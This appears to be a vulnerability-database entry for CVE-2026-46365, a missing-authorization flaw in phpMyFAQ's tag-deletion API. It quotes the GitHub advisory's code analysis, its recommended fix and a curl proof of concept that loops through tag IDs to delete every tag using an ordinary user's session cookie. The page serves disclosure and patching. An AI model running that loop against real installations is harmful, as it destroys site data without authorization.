CVE-2026-46365
mediumpriority · track · 0OT risk · elevatedEPSS 0.002 · 12 %ileEUUSEPSS · scored 2026-10-27
phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–medium · 1.3–5.4
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (5)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-5h62-f8fg-4w7qDuplicate Advisory: phpMyFAQ: Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags2026-05-15ghsa · osvUS
### Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-7cx3-2qx2-3g6w. This link is maintained to preserve external references. ### Original Description phpMyFAQ before 4.1.2 contains a missing authorization vulnerability in the DELETE /admin/api/content/tags/{tagId} endpoint that allows any authenticated user to delete tags. Any logged-in user, including regular frontend users, can delete arbitrary tags by sending a DELETE request with a valid session cookie, resulting in permanent data loss and disruption of FAQ organization.
- GHSA-7cx3-2qx2-3g6wphpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags2026-05-06ghsa · osvUS
## Summary The `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission. ## Details In `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this->userIsAuthenticated()`: ```php #[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userIsAuthenticated(); // Only checks isLoggedIn() — no permission check $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` Compare with `update()` (line 48-71) which properly enforces authorization: ```php public function update(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); // Proper permission check // ... also verifies CSRF token ... } ``` The `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this->currentUser->isLoggedIn()`: ```php protected function userIsAuthenticated(): void { if (!$this->currentUser->isLoggedIn()) { throw new UnauthorizedHttpException(challenge: 'User is not authenticated.'); } } ``` There is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests. Additionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly. ## PoC ```bash # Step 1: Register as a regular user on the phpMyFAQ frontend # (or use any existing non-admin authenticated session) # Step 2: As the authenticated non-admin user, delete tag with ID 1: curl -X DELETE 'https://target.com/admin/api/content/tags/1' \ -H 'Cookie: PHPSESSID=<regular_user_session>' # Expected: 401 or 403 (user lacks FAQ_EDIT permission) # Actual: 200 OK with {"success": "..."} # Step 3: Enumerate and delete all tags: for i in $(seq 1 100); do curl -s -X DELETE "https://target.com/admin/api/content/tags/$i" \ -H 'Cookie: PHPSESSID=<regular_user_session>' done ``` ## Impact Any authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in: - **Data integrity loss:** Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed. - **Disruption of FAQ organization:** Tag-based navigation, filtering, and tag clouds become empty or broken. - **No recoverability without backup:** Deleted tags and their associations cannot be restored without a database backup. The impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability. ## Recommended Fix Add the `FAQ_EDIT` permission check and CSRF token verification to `TagController::delete()`, consistent with `TagController::update()`: ```php #[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])] public function delete(Request $request): JsonResponse { $this->userHasPermission(PermissionType::FAQ_EDIT); $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT); if ($this->tags->delete($tagId)) { return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK); } return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST); } ``` At minimum, add `$this->userHasPermission(PermissionType::FAQ_EDIT)` to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated `TAG_DELETE` permission type for more granular access control.
also known as (3)
Other names and identifiers for this entity.
sources
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references (6)
External citations — patches, advisories, analysis.
- https://nvd.nist.gov/vuln/detail/CVE-2026-46365cnnvd
- https://www.phpmyfaq.de/Patchcnnvd
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6wenisa_euvd
- https://www.vulncheck.com/advisories/phpmyfaq-missing-authorization-in-tag-deletion-endpointenisa_euvd
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6wnvd
- https://www.vulncheck.com/advisories/phpmyfaq-missing-authorization-in-tag-deletion-endpointnvd
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